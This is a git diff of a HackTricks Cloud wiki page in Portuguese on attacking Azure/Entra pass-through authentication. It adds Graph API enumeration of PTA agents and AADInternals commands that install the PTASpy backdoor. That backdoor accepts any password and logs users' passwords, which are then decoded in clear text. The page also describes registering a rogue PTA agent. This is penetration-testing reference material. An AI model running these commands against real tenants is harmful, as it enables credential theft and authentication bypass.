mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
@@ -4,9 +4,9 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A Autenticação Pass-through do Azure Active Directory (Azure AD) permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários têm menos probabilidade de esquecer como fazer login. Quando os usuários fazem login usando o Azure AD, este recurso **valida as senhas dos usuários diretamente contra seu Active Directory local**.
|
||||
[Dos docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A autenticação pass-through do Microsoft Entra permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários têm menos probabilidade de esquecer como fazer login. Quando os usuários fazem login usando o Microsoft Entra ID, esse recurso valida as senhas dos usuários diretamente contra seu Active Directory local.
|
||||
|
||||
Na PTA, as **identidades** são **sincronizadas**, mas as **senhas** **não** são, como no PHS.
|
||||
No PTA, **identidades** são **sincronizadas**, mas **senhas não são**, como no PHS.
|
||||
|
||||
A autenticação é validada no AD local e a comunicação com a nuvem é feita por um **agente de autenticação** executando em um **servidor local** (não precisa estar no DC local).
|
||||
|
||||
@@ -23,19 +23,53 @@ A autenticação é validada no AD local e a comunicação com a nuvem é feita
|
||||
> Se um atacante **comprometer** o **PTA**, ele pode **ver** todas as **credenciais** da fila (em **texto claro**).\
|
||||
> Ele também pode **validar qualquer credencial** para o AzureAD (ataque semelhante ao Skeleton key).
|
||||
|
||||
### Local -> nuvem
|
||||
### Enumeração
|
||||
|
||||
Se você tiver acesso **administrativo** ao **servidor Azure AD Connect** com o **agente PTA** em execução, você pode usar o módulo **AADInternals** para **inserir uma porta dos fundos** que **validará TODAS as senhas** introduzidas (então todas as senhas serão válidas para autenticação):
|
||||
Do Entra ID:
|
||||
```bash
|
||||
Install-AADIntPTASpy
|
||||
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
|
||||
# Example response:
|
||||
{
|
||||
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
|
||||
"value": [
|
||||
{
|
||||
"agents": [
|
||||
{
|
||||
"externalIp": "20.121.45.57",
|
||||
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
|
||||
"machineName": "ConnectSync.hacktricks-con.azure",
|
||||
"status": "active",
|
||||
"supportedPublishingTypes": [
|
||||
"authentication"
|
||||
]
|
||||
}
|
||||
],
|
||||
"displayName": "Default group for Pass-through Authentication",
|
||||
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
|
||||
"isDefault": true,
|
||||
"publishingType": "authentication"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Verifique se o agente está em execução no servidor local:
|
||||
```bash
|
||||
Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## Pivoting
|
||||
|
||||
Se você tiver acesso **admin** ao **servidor Azure AD Connect** com o **agente PTA** em execução, você pode usar o módulo **AADInternals** para **inserir uma backdoor** que irá **validar TODAS as senhas** introduzidas (então todas as senhas serão válidas para autenticação):
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
|
||||
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
|
||||
|
||||
Remove-AADIntPTASpy # Remove the backdoor
|
||||
```
|
||||
> [!NOTE]
|
||||
> Se a **instalação falhar**, isso provavelmente se deve à falta dos [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
Também é possível **ver as senhas em texto claro enviadas para o agente PTA** usando o seguinte cmdlet na máquina onde o backdoor anterior foi instalado:
|
||||
```bash
|
||||
Get-AADIntPTASpyLog -DecodePasswords
|
||||
```
|
||||
Este backdoor irá:
|
||||
|
||||
- Criar uma pasta oculta `C:\PTASpy`
|
||||
@@ -45,10 +79,8 @@ Este backdoor irá:
|
||||
> [!NOTE]
|
||||
> Quando o serviço AzureADConnectAuthenticationAgent é reiniciado, o PTASpy é “descarregado” e deve ser reinstalado.
|
||||
|
||||
### Cloud -> On-Prem
|
||||
|
||||
> [!CAUTION]
|
||||
> Após obter **privilégios GA** na nuvem, é possível **registrar um novo agente PTA** configurando-o em uma **máquina controlada pelo atacante**. Uma vez que o agente está **configurado**, podemos **repetir** os **passos anteriores** para **autenticar usando qualquer senha** e também, **obter as senhas em texto claro.**
|
||||
> Após obter **privilégios GA** na nuvem, é possível **registrar um novo agente PTA** e **repetir** os **passos anteriores** para **autenticar usando qualquer senha** e também, **obter as senhas em texto claro.**
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
|
||||
Reference in New Issue
Block a user